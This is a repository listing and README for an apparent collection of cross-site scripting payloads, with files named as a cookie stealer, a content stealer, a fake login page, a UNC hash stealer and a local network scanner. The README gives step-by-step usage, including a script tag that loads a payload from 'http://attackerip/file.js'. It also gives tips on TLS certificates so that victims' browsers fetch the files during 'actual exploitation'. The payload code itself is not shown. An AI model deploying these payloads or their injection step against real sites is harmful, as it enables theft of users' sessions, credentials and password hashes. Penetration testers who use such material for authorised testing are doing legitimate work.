Find a file
2016-08-31 11:13:19 +01:00
apache_httponly_bypass.js first commit 2016-05-18 14:14:39 +01:00
contentstealer.php Re-wrote contentstealer.php to use POST and async XHRs 2016-08-31 11:13:19 +01:00
cookiestealer.php Added the PHP xss payloads 2016-05-18 14:21:52 +01:00
formsubmitter.php Added the PHP xss payloads 2016-05-18 14:21:52 +01:00
local_network_scan.php Added UNC hash stealer 2016-08-02 16:53:04 +01:00
loginpage.php Added the PHP xss payloads 2016-05-18 14:21:52 +01:00
README.md Added readme info 2016-05-19 11:48:29 +01:00
unc_hashstealer.php Changed UNC hash stealer to re-write all links on the page to UNC path 2016-08-02 17:05:09 +01:00

xss_payloads

Payloads for practical exploitation of cross site scripting.

Usage

  1. Find XSS vuln in your app
  2. Get PoC exploit: alert(1) etc
  3. Host these payloads somewhere
  4. Use vuln to pull one of these payloads into the app <script src="http://attackerip/file.js"></script>
  5. Profit

js vs php files

Some of the files are plain JavaScript .js files, others are PHP scripts which serve JavaScript when rendered in order to do some more complex stuff. Make sure you have a PHP interpreter running on your web server of choice to get these to work </obvious>

Common Problems

  • You can't serve these over HTTP if your app is running on HTTPS. You'll need to serve them over HTTPS
  • If you're running these over HTTPS for actual exploitation rather than a PoC, you'll need a proper trusted TLS cert (Let's Encrypt CA, for example) otherwise victim's browsers won't fetch the files at all. If it's for a PoC you can just temporarily trust your self signed cert.
  • Hit F12 and view the debug console for any information about why a particular script might not work